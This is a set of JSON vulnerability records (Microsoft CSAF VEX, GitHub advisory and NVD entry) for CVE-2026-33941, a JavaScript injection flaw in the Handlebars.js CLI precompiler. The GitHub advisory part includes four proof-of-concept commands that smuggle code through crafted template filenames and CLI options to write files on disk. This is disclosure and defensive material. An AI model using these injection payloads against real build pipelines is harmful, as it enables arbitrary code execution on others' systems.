{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2026-33941 Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33941.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options",
    "tracking": {
      "current_release_date": "2026-03-31T01:03:08.000Z",
      "generator": {
        "date": "2026-03-31T07:11:03.709Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
        }
      },
      "id": "msrc_CVE-2026-33941",
      "initial_release_date": "2026-03-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2026-03-31T01:03:08.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "2.0",
                "product": {
                  "name": "CBL Mariner 2.0",
                  "product_id": "17086"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "cbl2 reaper 3.1.1-22",
                "product": {
                  "name": "cbl2 reaper 3.1.1-22",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "reaper"
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "cbl2 reaper 3.1.1-22 as a component of CBL Mariner 2.0",
          "product_id": "17086-1"
        },
        "product_reference": "1",
        "relates_to_product_reference": "17086"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-33941",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_affected": [
          "17086-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2026-33941 Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33941.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2026-03-31T01:03:08.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17086-1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "environmentalsScore": 0.0,
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "temporalScore": 8.2,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "17086-1"
          ]
        }
      ],
      "title": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:22:10Z",
    "nvd_published_at": "2026-03-27T22:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027templates[\"\u0027 + template.name + \u0027\"] = template(...)\u0027;\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `\u0027];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var templates = \u0027 + opts.namespace + \u0027 = \u0027 + opts.namespace + \u0027 || {};\u0027;\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var Handlebars = require(\"\u0027 + opts.commonjs + \u0027\");\u0027;\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define([\u0027\" + opts.handlebarPath + \"handlebars.runtime\u0027], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `\u0027` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf \u0027Hello\u0027 \u003e \"templates/evil\u0027] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e \u0027require(\"./out.js\")\u0027  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require(\u0027fs\u0027).writeFileSync(\u0027pwned2\u0027,\u00271\u0027); //\"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c \u0027handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //\u0027\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"\u0027); require(\u0027fs\u0027).writeFileSync(\u0027pwned4\u0027,\u00271\u0027); // \"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.",
  "id": "GHSA-xjpj-3mr7-gcpf",
  "modified": "2026-03-30T20:08:52Z",
  "published": "2026-03-27T18:22:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "A9D1F9A7-8359-4C3F-9932-4A085094F388",
              "versionEndExcluding": "4.7.9",
              "versionStartIncluding": "4.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline."
    }
  ],
  "id": "CVE-2026-33941",
  "lastModified": "2026-03-31T17:53:18.770",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.5,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.5,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-27T22:16:21.203",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-116"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}